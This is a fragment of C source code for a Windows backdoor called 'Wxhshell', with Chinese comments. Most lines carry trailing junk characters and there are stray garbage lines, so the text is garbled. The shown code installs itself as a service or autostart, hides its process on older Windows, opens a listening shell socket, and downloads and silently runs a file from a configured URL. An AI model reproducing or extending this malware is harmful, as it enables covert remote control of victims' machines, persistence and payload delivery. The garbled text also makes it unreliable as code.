ULONG InheritedFromUniqueProcessId; 3& fIO
} PROCESS_BASIC_INFORMATION; ~t.WwxY+
/I`bh
PROCNTQSIP NtQueryInformationProcess; 'Z(MV&
Npf7 p
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5* o\z&*L
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T?p`Y| gl
e!2%k u
HANDLE hProcess; $jUS[.S_|I
PROCESS_BASIC_INFORMATION pbi; b0zxT9
U||w6:W5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7am/X.
if(NULL == hInst ) return 0; 6|"!sW`%N
J4*:.8Ki
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w50Bq&/jX
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fW4cHB9|
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [iO$ c]!H
iz%A0Z+`bg
if (!NtQueryInformationProcess) return 0; wn A%Nh7
'%]@a7w
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +{=_|3(
if(!hProcess) return 0; \+evZ{Pu
3A}nNHpN
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j~,LoGuPh
CL@h!h554_
CloseHandle(hProcess); bsk=9K2_2t
+=B}R
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sP3.s_U^
if(hProcess==NULL) return 0; _WjETyh
[H
Uf2v$Jl+Yh
HMODULE hMod; L->f=
8L
char procName[255]; 6E\\`FE4y
unsigned long cbNeeded; _c(C;s3o
BJ.8OU*9]S
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,Q /nS$
~&j`9jdOj
CloseHandle(hProcess); D@4&@>
~b6<uRnM.
if(strstr(procName,"services")) return 1; // 以服务启动 kvgs $
Y+_5"LV
return 0; // 注册表启动 fj
t_9-.
} ^]lwd"$
,b.4uJg'
// 主模块 ?od}~G4s#
int StartWxhshell(LPSTR lpCmdLine) sG1]A:_<C
{ ap$tu3j
SOCKET wsl; YaJ{"'}
BOOL val=TRUE; x 1x j\O
int port=0; $qUta<o2@
struct sockaddr_in door; \gI:`>-
x
>2Qqa;nx|
if(wscfg.ws_autoins) Install(); Dy{`">a
(P>eWw\0
port=atoi(lpCmdLine); o"ah\"#el
~ Dp:j*H
if(port<=0) port=wscfg.ws_port; :rs\ydDUF
`j!2uRFe>
WSADATA data; >K|G LP
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1={Tcq\]
4(0t
GF
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iZq@W3GL
C
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _l{5'm
door.sin_family = AF_INET; R;TEtu7
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 548[!p4
door.sin_port = htons(port); 3P^gP32
)x:j5{>(
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tj^:SW.0
closesocket(wsl); ]-5jgz"
return 1; 2eR+dT
} 0-~6}
r$
o?O,nD
6
if(listen(wsl,2) == INVALID_SOCKET) { ^B!?;\4IM
closesocket(wsl); ;Y|~!%2~
return 1; 5fx,rtY2sQ
} > v!c\
Wxhshell(wsl); BQ}.+T\
WSACleanup(); 7" STS7_
$H:h(ia:
return 0; }
Ved
:%b2;&A[
} LI|HET_
FPUR0myCU
// 以NT服务方式启动 U1HD~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C94UF7al
{ V-ouIqnI
DWORD status = 0; ExP25T
DWORD specificError = 0xfffffff; j]l}K*8(
Fee WZe0i
serviceStatus.dwServiceType = SERVICE_WIN32; )< a8a@
serviceStatus.dwCurrentState = SERVICE_START_PENDING; aCi^^}!
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pn%|;
serviceStatus.dwWin32ExitCode = 0; TX
[%s@C
serviceStatus.dwServiceSpecificExitCode = 0; ^YJ^+:D(
serviceStatus.dwCheckPoint = 0; ^RyTK|SQ
serviceStatus.dwWaitHint = 0; n`T[eb~
NDa|.,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0G\myv
if (hServiceStatusHandle==0) return; KJ^GUqVl
'kg]|"M
status = GetLastError(); S}[:;p?F`
if (status!=NO_ERROR) (DMnwqr
{ hUhp2ibEs
serviceStatus.dwCurrentState = SERVICE_STOPPED; (:HbtrI
serviceStatus.dwCheckPoint = 0; O9=H
[b
serviceStatus.dwWaitHint = 0; p,u<gJUL
serviceStatus.dwWin32ExitCode = status; ;$L!`"jn
serviceStatus.dwServiceSpecificExitCode = specificError; o4 g
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9PGR#!!F$
return; e, 0I~:
} IS
9q 5/]
p>tdJjnt
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;q&D,4r]
serviceStatus.dwCheckPoint = 0; $F()`L{Tj
serviceStatus.dwWaitHint = 0; @gjdyz
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @bCiaBdi
} 0#/
6P&6
$z,DcO.vz
// 处理NT服务事件,比如:启动、停止 *^+xcG
VOID WINAPI NTServiceHandler(DWORD fdwControl) [5eT|uy
{ Hh;6B!zb+
switch(fdwControl) g?AqC
{ R|$`MX}'z
case SERVICE_CONTROL_STOP: A}Dpw[Q2@8
serviceStatus.dwWin32ExitCode = 0; 5YH
mp7c-z
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;,-Vapz
serviceStatus.dwCheckPoint = 0; Ml/p{ *p
serviceStatus.dwWaitHint = 0; J+NK+,_*M
{ Ry S{@=si
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @d^h/w
} (4f9wrK
return; "3 oU
(RA
case SERVICE_CONTROL_PAUSE: 7-IeJ6,D
serviceStatus.dwCurrentState = SERVICE_PAUSED; |<
FCt-U
break; 'I>#0VRr
case SERVICE_CONTROL_CONTINUE: [_hhC
serviceStatus.dwCurrentState = SERVICE_RUNNING; `DllW{l
break; ~tuFjj^
case SERVICE_CONTROL_INTERROGATE: _";pk _
break; xy3%z
}; b{>dOI*.}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7<o;3gR7Kj
} .);:K
O:p649A
// 标准应用程序主函数 dTQvz9 C
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }/r%~cZ
{ U*:'/.
eniR}
// 获取操作系统版本 tRBK1h
OsIsNt=GetOsVer(); =?Md&%j
GetModuleFileName(NULL,ExeFile,MAX_PATH); I8]NY !'cW
PM>XT
// 从命令行安装 }F`2$Q+CW
if(strpbrk(lpCmdLine,"iI")) Install(); W*`6ero
pDq_nx9
// 下载执行文件 &E`Z_}~
if(wscfg.ws_downexe) { "$pgmf2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U?j> 28
WinExec(wscfg.ws_filenam,SW_HIDE); PSR`8z n
} slfVQ809
(b}7Yb]#c
if(!OsIsNt) { H^:|`T|,
// 如果时win9x,隐藏进程并且设置为注册表启动 T5_Cu9>ax
HideProc(); RAbq_^Q
StartWxhshell(lpCmdLine); bu&y w~
} X2?_lZ[\
else a`iAA1HJ
if(StartFromService()) FNEmGz/4
// 以服务方式启动 %{abRBny
StartServiceCtrlDispatcher(DispatchTable); 'k Z1&_{
else ah9',( (!
// 普通方式启动 9G/2^PI
StartWxhshell(lpCmdLine); DJ0T5VE W3
wu&7#![,
return 0; *v/*_6f*
}